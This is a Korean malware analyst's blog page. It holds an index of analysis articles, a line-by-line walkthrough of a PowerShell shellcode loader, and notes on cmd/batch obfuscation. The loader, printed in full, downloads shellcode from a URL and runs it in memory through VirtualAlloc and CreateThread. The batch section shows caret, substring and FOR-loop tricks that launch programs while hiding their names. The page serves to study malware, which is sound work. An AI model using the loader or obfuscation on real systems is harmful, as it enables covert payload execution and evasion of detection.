2019.03.04 00:26 악성코드 분석

목록



1. 도구

- Ollydbg 2.01 매뉴얼http://sanseolab.tistory.com/8 ]

Windbg, Gdb 명령어 정리 http://sanseolab.tistory.com/22 ]

VC++ 옵션 정리 http://sanseolab.tistory.com/20 ]

exeinfo PE 사용법 [ http://sanseolab.tistory.com/48 ]

x64dbg 분석 팁http://sanseolab.tistory.com/54 ]

IDA Pro 시그니처 사용 및 제작 (Flirt) [ http://sanseolab.tistory.com/55 ]

- GCC 사용법  [ http://sanseolab.tistory.com/67 ]

- 디버거로 덤프뜨기  [ http://sanseolab.tistory.com/73 ]

- Notepad++ 자동화  [ http://sanseolab.tistory.com/74 ]

- TotalCommand 자동화  [ http://sanseolab.tistory.com/75 ]



2. 보안 개념

코드 인젝션과 사용자 모드 후킹 http://sanseolab.tistory.com/28 ]

윈도우의 예외 처리 http://sanseolab.tistory.com/16 ]

윈도우의 서비스 http://sanseolab.tistory.com/18 ]

API Sets http://sanseolab.tistory.com/17 ]

윈도우의 자료형 정리 http://sanseolab.tistory.com/9 ]

윈도우에서 스크립트 악성코드 http://sanseolab.tistory.com/41 ]

악성코드 분석 자동화 (샌드박스 및 에뮬레이터) http://sanseolab.tistory.com/39 ]

안티바이러스의 악성코드 탐지 메커니즘 http://sanseolab.tistory.com/35 ]

다형성 바이러스 http://sanseolab.tistory.com/19 ]

악성코드 지속 메커니즘 http://sanseolab.tistory.com/30 ]

파워셸(PowerShell)과 악성코드 http://sanseolab.tistory.com/29 ]

윈도우 권한과 UAC (User Access Control) 우회 http://sanseolab.tistory.com/27 ]

악성코드가 감염되기까지 http://sanseolab.tistory.com/26 ]

EFLAGS 상태 레지스터 http://sanseolab.tistory.com/44 ]

Anti-AV와 Anti-VM (Sandbox) [ http://sanseolab.tistory.com/52 ]

Access Token 및 권한과 Integrity Level에 대한 정리 [ http://sanseolab.tistory.com/50 ]

COM, OLE,.NET Framework 등의 개념 및 사용 [ http://sanseolab.tistory.com/49 ]

TEB 및 PEB를 활용하는 루틴 [ http://sanseolab.tistory.com/47 ]

Process Hollowing 및 응용  [ http://sanseolab.tistory.com/57 ]

CreateProcess / CreateThread 내부  [ http://sanseolab.tistory.com/58 ]

- 악성 행위에 사용될 수 있는 시스템 유틸리티  [ http://sanseolab.tistory.com/66 ]

- 윈도우의 작업 스케줄링 및 기타  [ http://sanseolab.tistory.com/68 ]

- batch (cmd) 난독화  [ https://sanseolab.tistory.com/76 ]

- 파워셸에서 사용되는 닷넷 문법  [ https://sanseolab.tistory.com/77 ]



3. 분석

패커들 분석 http://sanseolab.tistory.com/10 ]

Yoda's Protector 분석 http://sanseolab.tistory.com/11 ]

프로텍터 PEspin 1.33 분석 http://sanseolab.tistory.com/34 ]

델파이 바이너리 분석 방법론 [ http://sanseolab.tistory.com/56 ]

Autoit 스크립트  [ http://sanseolab.tistory.com/59 ]

바이너리로 변환된 VBScript 디컴파일  http://sanseolab.tistory.com/60 ]

오토핫키 (AutoHotKey) 버전 별 디컴파일  [ http://sanseolab.tistory.com/61 ]

바이너리로 변환된 스크립트 추출 ( VBScript, Powershell, Batch )  [ http://sanseolab.tistory.com/63 ]

Visual Basic 6.0 바이너리 분석  [ http://sanseolab.tistory.com/64 ]

인스톨러들 분석  [ http://sanseolab.tistory.com/65 ]

USB 악성코드 분석 [ http://sanseolab.tistory.com/42 ]



4. 개발

간단한 패커 개발 http://sanseolab.tistory.com/12 ]

윈도우의 드라이버 개발과 루트킷 그리고 AV http://sanseolab.tistory.com/13 ]

리눅스 안티바이러스 구현에 관한 정리 http://sanseolab.tistory.com/23 ]

윈도우 안티바이러스 드라이버 개발 연습 http://sanseolab.tistory.com/33 ]

윈도우 드라이버로 구현한 간단한 프로세스 로그 생성기 (Process Logger) http://sanseolab.tistory.com/38 ]

yara를 이용한 시그니처 분류 연습  [ http://sanseolab.tistory.com/62 ]

- [Tool] ejExtractor  [ http://sanseolab.tistory.com/72 ]



'악성코드 분석' 카테고리의 다른 글

목록  (0) 2019.03.04
파워셸에서 사용되는 닷넷 문법  (0) 2019.03.04
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
Posted by SanseoLab SanseoLab


0. 개요

1. 예제

2. 정리 중





0. 개요

  파워셸 악성코드의 경우 커맨드 라인으로 간단하게 cmdlet 만을 이용하는 방식 외에도 직접적으로 닷넷을 이용하여 악성 행위를 수행하는 경우가 많다. 이 경우 직관적인 부분 위주로 간략한 행위 정도는 파악할 수 있지만 상세한 내용을 분석해야 할 필요가 있어서 공부 삼아서 여기에 정리하려고 한다.


  가장 기본적인 샘플을 구해 이것 위주로 분석하기로 하며, 나아가 다른 복잡한 샘플들에서도 추가적인 부분들 위주로 계속 추가해 나갈 예정이다. 여기서는 다음 링크의 코드가 공부를 시작하는데 적합하다고 생각해서 조금 상세하게 진행하도록 한다. 



1. 예제

https://github.com/Exploit-install/DKMC/blob/master/core/util/exec-sc.ps1 ]



/*  source code  */


Set-StrictMode -Version 2


$DoIt = @'

function func_get_proc_address {

        Param ($var_module, $var_procedure)

        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))

}


function func_get_delegate_type {

        Param (

                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

                [Parameter(Position = 1)] [Type] $var_return_type = [Void]

        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')

        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()

}


[Byte[]]$var_code = (New-Object System.Net.WebClient).DownloadData("[URL]")


$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)


[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)


$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)


[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null

'@


If ([IntPtr]::size -eq 8) {

        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job

}

else {

        IEX $DoIt

}


/*  source code  */



  실질적인 역할을 하는건 $DoIt으로 선언한 파워셸 스크립트이다. 이 스크립트에서도 가장 마지막 라인들이 실제 행위를 수행한다. 참고로 " $DoIt = "@ ... "@ " 부분은 $DoIt 이라는 변수에 파워셸 스크립트 문자열을 저장한다. 그냥 쌍따옴표 대신 @를 이용한 이 방식은 내부 문자열에 쌍따옴표가 들어가도 인식할 수 있게 해준다. 그래서인지 이러한 여러 라인을 가진 복잡한 형태의 파워셸 악성코드에서는 항상 @ 문자열을 볼 수 있다.


  이제 $DoIt 스크립트를 보자. 먼저 다운로드한 셀코드를 Byte 배열 $var_code에 저장한다.

이후 $var_buffer 부분을 보면 버퍼를 할당하는데 직접 API 함수 VirtualAlloc()을 사용한다. 그리고 Copy()를 통해 셸코드를 $var_buffer로 복사한다. 이후 직접 CreateThread() API 함수를 호출하는데 시작 주소는 앞에서 할당 후 셸코드를 복사한 $var_buffer이다. 마지막으로 생성된 쓰레드에 대해 WaitForSIngleObject()로 대기하며 이 또한 직접 API 함수를 호출한다.


  C로 제작하였으면 간단했겠지만 여기서는 .net에서 직접 API 함수를 이용하는 메커니즘을 사용했기 때문에 내용이 많이 복잡해졌다. 물론 다른 악성코드 예제들보다는 훨씬 간단하기 때문에 이것을 예제로 하고 공부 중이며 간단하게 정리된 내용을 업로드하기로 한다.


  먼저 VirtualAlloc()을 호출하는 부분을 본다. 나머지는 함수들도 호출하는 방식은 동일하므로 이 함수를 호출하는 방식 위주로 진행한다. [System.Runtime.InteropServices.Marshal] 클래스의 GetDelegateForFunctionPointer() 메소드는 unmanaged function pointer를 Delegate로 변환하는 함수라고 한다. Delegate라는 개념은 대리자라고도 불리는데 간단하게 설명해서 메소드를 효율적으로 사용하기 위해 특정 메소드 자체를 캡슐화할 수 있게 만들어주는 방식이라고 한다. 


  Delegate 자체는 개념이 어려우므로 넘어가고 어쩄든 해당 라인은 인자로 받은 unmanaged function pointer에 대해 Delegate로 변환시킨 후에 invoke로 해당 함수를 호출하는 것으로 간략하게 이해할 수 있다. Delegate 객체의 메소드로 invoke가 있으며 invoke 시에 인자를 줄 수 있는 것으로 보인다. 결국 GetDelegateForFunctionPointer() 메소드를 통해 VirtualAlloc()에 대한 Delegate 객체가 생성되었고 이것을 실행하는 방식이다.


  특정 API 함수에 대한 Delegate 객체가 있다면 호출할 수 있다는 점은 알게 되었고, 이제 GetDelegateForFunctionPointer() 메소드가 어떤 방식을 통해 해당 객체를 생성하는지의 과정을 보자.


  이 함수는 인자로 변환할 unmanaged 함수의 포인터 뿐만 아니라 생성할 Delegate 객체의 타입을 받는다. 여기서는 func_get_proc_address 함수를 통해 (인자로 kernel32.dll과 VirtualAlloc()을 받아서) unmanaged 함수의 포인터를 생성하는 것으로 보인다. 마찬가지로 타입은 func_get_delegate_type 함수를 통해 (인자로 VirtualAlloc() 함수의 인자와 동일한 인자들을 받아서) Delegate 타입을 생성하였다.


  이제 앞의 두 함수만 보면 (이름도 굉장히 직관적이다) unmanaged 함수의 포인터와 Delegate 객체의 타입이 어떻게 생성되는지를 확인할 수 있다. 먼저 func_get_proc_address 함수는 먼저 system.dll 어셈블리에서 Microsoft.Win32.UnsafeNativeMethods 를 찾는다. 


  어셈블리는 단일한 단위로 존재하는 .NET의 실행 가능한 프로그램 또는 실행 프로그램의 일부라고 하며 대표적으로 exe와 dll이 있다. 참고로 어셈블리는 MSIL 코드 외에도 Type Metadata, Assembly Manifest, Resource 등을 포함한다. 


  Microsoft.Win32.UnsafeNativeMethods 클래스를 구한 후 변수 $var_unsafe_native_methods에 저장한다. 구하는 방식은 현재 AppDomain에서 어셈블리를 획득한 후 이 중에서 해당 클래스가 구현된 system.dll을 획득하여 구하는 방식이다. 이제 UnsafeNativeMethods 클래스의 GetMethod 메소드를 통해 API 함수 이름을 인자로 받아 구하고 사용할 수 있다. API 함수를 호출할 때마다 이 과정을 거칠 필요 없이 func_get_proc_address는 인자로 DLL 이름과 API 함수 이름을 받아서 이 과정 즉 직접 LoadLibrary()와 GetProcAddress()를 통해 API 함수에 대한 주소를 구해 준다.


  다음으로 func_get_delegate_type 함수가 있다. 이 함수는 파워셸에서 delegate 키워드를 사용하는 것과 같은 효과를 준다. 즉 C#에서는 간단하게 타입을 지정할 때 delegate를 지정하면 되지만 파워셸에서는 해당 문법이 지원되지 않기 때문에 위와 같은 방식으로 직접 구현한 것이다.


  결론적으로 파워셸에서 닷넷 문법을 통해 API 함수를 직접적으로 사용할 수 있도록 구현된 것이며 내용 자체는 위와 같이 간단하다. 마지막 부분도 그냥 iex를 이용해 선언한 스크립트를 실행시키는 것이 전부이다.


  Start-Job cmdlet은 파워셸 스크립트를 백그라운드에서 실행시키며, 32bit 환경인지 64bit 환경인지를 검사한 후 64비트인 경우 (다운로드 받는 셸코드를 32비트로 전제한 것 같다) "-RunAs32" 옵션을 주고 32비트 프로세스로 실행시킨다.


  참고로 Powreliks 악성코드도 CreateThread() 대신 CallWindowProcA()을 사용했다는 점을 제외하면 동일한 방식이 사용되었다. 사용된 파워셸 소스 코드는 다음 링크에서 확인할 수 있다. [ https://www.codeandsec.com/Poweliks-Malware-Analysis ]





3. 정리 중

  다음 링크에 3가지 방식이 정리되어 있다. 위에서 다룬 방식은 2번째 방식이며, 1번째 방식이 공식적으로 문서화 된 방식이라고 한다.


https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-1/ ]

https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-2/ ]

https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/ ]



'악성코드 분석' 카테고리의 다른 글

목록  (0) 2019.03.04
파워셸에서 사용되는 닷넷 문법  (0) 2019.03.04
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
Posted by SanseoLab SanseoLab



0. 개요

1. 쓰레기 문자

2. Substring

3. 난독화

4. 기타 문법





0. 개요

  언젠가부터 파워셸 난독화 외에도 cmd 명령 즉 batch 난독화가 적용된 악성코드들도 많이 보이고 있다. 난독화 방식이 파워셸보다 다양하거나 하지는 않지만 문법 자체가 그다지 익숙하지 않다보니 파워셸보다 더 봐도 모르겠는 상황이 생겨서 겸사겸사 정리하려고 한다.

  

  찾다 보니 파이어아이에서 잘 정리된 문서를 발견하여 우선적으로는 해당 문서에 대한 번역 및 간단한 정리 수준으로 여기에 정리한다. 파워셸 글과 같이 이후 다양한 샘플들을 확인하게 되면 꾸준히 추가해 가도록 하겠다. [ https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf ]

  

  기본적인 문법 관련 공부 외에도 실제 분석 시에는 동적으로 다음 링크 방식을 통해 간단하게 확인할 수도 있을 것으로 보인다. [ https://www.fireeye.com/blog/threat-research/2018/11/cmd-and-conquer-de-dosfuscation-with-flare-qdb.html ]

  




1. 쓰레기 문자

  파워셸에 "`"가 있다면 batch에는 "^"가 있다. 이것도 마찬가지로 "^^" 같이 2개 이상 사용할 수는 없지만 문자열마다 끼워넣어 놓으면 가독성에 상당한 지장이 간다.


set x=notepad & echo %x%|cmd

set x=not^ep^ad & echo %x%|c^md


  그리고 쌍따옴표 즉 """도 있다. 아래와 같이 개수만 맞다면 공백이든 특정 한 문자든 """"를 사용할 수 있다.


set x=notepad & echo %x%|c"m"d

set x=notepad & echo %x%|cm""d


  물론 아래와 같이 명령에 사용하는 것은 안되고 문자열에 써야 한다.

  

set x=notepad & echo %x%"|"cmd

set x=notepad "&" echo %x%|cmd


  마지막으로 ","와 ";"도 있다. 이건 문자열 내부에 사용될 수는 없지만 공백 같은 곳에 사용될 수 있다.


set x=notepad & echo %x%|;cmd

set x=notepad &, echo %x%|cmd

set x=notepad &;;;;,,,;; echo %x%|cmd


  가독성에 지장을 주는 것으로는 다음과 같이 괄호도 있다. 아래는 간단한 예시이지만 더욱 복잡하게 사용할 수 있다.


set x=notepad & (echo %x%)|cmd

set x=notepad & (((echo %x%)))|cmd





2. Substring

  cmd도 파워셸과 같이 Substring을 이용한 트릭이 존재한다.


%COMSPEC%

  C:\WINDOWS\system32\cmd.exe

  기본 결과이다.

%COMSPEC:~0%

  C:\WINDOWS\system32\cmd.exe

  0번째부터 전체를 의미하므로 결국 전체 문자열이 반환된다.

%COMSPEC:~-27%

  C:\WINDOWS\system32\cmd.exe

  전체 글자가 27개이기 때문에 뒤에서 27 즉 0부터 문자열이 반환되어 같은 결과를 얻게 된다.

%COMSPEC:~0,27%

  C:\WINDOWS\system32\cmd.exe

  여기서 두 번째 27은 개수를 의미하므로 결국 전체가 된다.

%COMSPEC:~-27,27%

  C:\WINDOWS\system32\cmd.exe

  위와 같이 0부터 27개의 문자가 반환된다.

%COMSPEC:~0,1000%

  C:\WINDOWS\system32\cmd.exe

  큰 수를 넣더라도 정상적인 결과까지 반환된다.

%COMSPEC:~   0,        27%

  C:\WINDOWS\system32\cmd.exe

  공백은 무시된다.

%COMSPEC:cmd=notepad%

  C:\WINDOWS\system32\notepad.exe

  위의 문법과 같이 ":" 이후 A=B 식으로 A를 B로 치환시킬 수 있다.


  위의 방식을 이용하여 파워셸에서 환경변수의 한 글자씩 따와서 iex 문자열을 만들듯이 같은 방식으로 문자열을 치환할 수 있다. 조금 더 난이도 있는 문법을 보자.

  

> set | findstr PSM

PSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules


> FOR /F "delims=s\ tokens=5" %a IN ('set^|findstr PSM')DO %a


  set 명령을 사용하면 설정된 환경변수들을 확인할 수 있다. (비슷하게 여러 문자열들을 보여주는 명령으로 ftype과 assoc이 있다) 이 중에서 PSM이 들어간 라인을 보면 환경변수 PSModulePath가 있다. 해당 환경변수는 파워셸의 경로명을 담고 있다.

  

  "('set^|findstr PSM')" 이 부분을 통해서 결국 환경변수 PSModulePath의 값 즉 실제 경로명을 획득할 수 있다. 참고로 ^가 붙은 이유는 "set | findstr" 명령 사용 시 "set|" 처럼 붙이면 문법 에러가 나지만 "set |"처럼 띄어 써도 에러가 나서 쓰레기 문자인 ^을 넣어서 이러한 에러를 회피하기 위한 것으로 보인다.

  

  어쨌든 경로명에서 "delims=s\" 즉 문자 s와 \를 기준으로 토큰을 나눈다. 이렇게 나누면 5번째 토큰은 "PowerShell"이 되며 이것이 %a가 되고 마지막 "DO %a"를 통해 PowerShell이 실행된다. 결국 해당 라인에서는 powershell 문자열이 사용되지 않고도 파워셸을 실행할 수 있는 것이다.

  




3. 난독화

  지금까지 여러 기본 방식들을 살펴보았고 여기서는 이것을 응용한 방식을 보겠다.

  

  cmd에서는 "/V:ON" 옵션이 존재한다. 이것은 지금까지 우리가 환경변수를 사용하기 위해 써왔던 % 대신 !를 사용할 수 있게 해준다. 즉 %windir% 대신 !windir!을 사용할 수 있다.

  

cmd /c "set x=notepad & echo !x!|cmd"

  %x% 대신 !x!를 사용하면 에러가 발생한다.


cmd /V:ON /c "set x=notepad & echo !x!|cmd"

  /V:ON 옵션을 주면 !x!를 사용할 수 있다.

  

cmd /V:ON /C "set str=cal.ex && FOR %A IN (0 1 2 0 3 4 5 4 100) DO set final=!final!!str:~%A,1!&& IF %A==100 CALL echo %final:~-8%"


  여기서 굳이 /V:ON 옵션을 사용한 이유는 "set final=!final!!str:~%A,1!" 부분 때문인데, "set final=%final%%str:~%A,1%"와 같이 사용하면 내부의 %A 때문에 제대로 인식하지 못해 에러가 발생하기 때문이다.

  

  어쨌든 str을 "cal.ex"로 정하고 FOR - IN - DO - CALL 문을 통해서 제어가 진행된다. 0, 1, 2 번째는 순서대로 cal이고, 다시 0번째인 c를 붙여서 calc를 만드는 방식이다. final은 FOR 문의 결과들인 각 한 글자씩 더해져서 ("!final!!str:~%A,1!") calc.exe가 되고, 마지막에 %A가 100일 때 끝난다. 마지막으로 CALL을 통해 명령을 실행한다. 참고로 마지막에 !final!은 "!final!calc.exe"가 되며 실제 "calc.exe" 문자열은 8글자이고 마지막에 붙어있기 때문에 위의 방식을 사용한다.

  

  여기서는 echo를 통해 변수를 출력하게만 했지만 악성코드에서는 echo를 빼고 직접 실행시키게 된다. 

  

cmd /V:ON /C "set str=cal.ex && FOR %A IN (0 1 2 0 3 4 5 4 100) DO set final=!final!!str:~%A,1!&& IF %A==100 CALL %final:~-8%"


  아래와 같이 redirect하여 cmd로 실행시킬 수도 있다.

  

cmd /V:ON /C "set str=cal.ex && FOR %A IN (0 1 2 0 3 4 5 4 100) DO set final=!final!!str:~%A,1!&& IF %A==100 CALL %final:~-8%|cmd"





4. 기타 문법

-  %comspec%은 기본적으로 cmd.exe를 의미한다.

-  cmd에서 앞 부분에 의미없는 명령어를 넣어도 상관이 없다. 예를들어

    > cmd 쓰레기 쓰레기 쓰레기 & cmd /v /s 실제 명령

-  &는 무조건 이후 명령어를 실행하며 &&는 이전 명령어가 성공했을 때 이후 명령어를 실행한다.



'악성코드 분석' 카테고리의 다른 글

목록  (0) 2019.03.04
파워셸에서 사용되는 닷넷 문법  (0) 2019.03.04
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
Posted by SanseoLab SanseoLab

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday181
Today259
Total39,911

달력

 « |  » 2019.5
      1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31  

글 보관함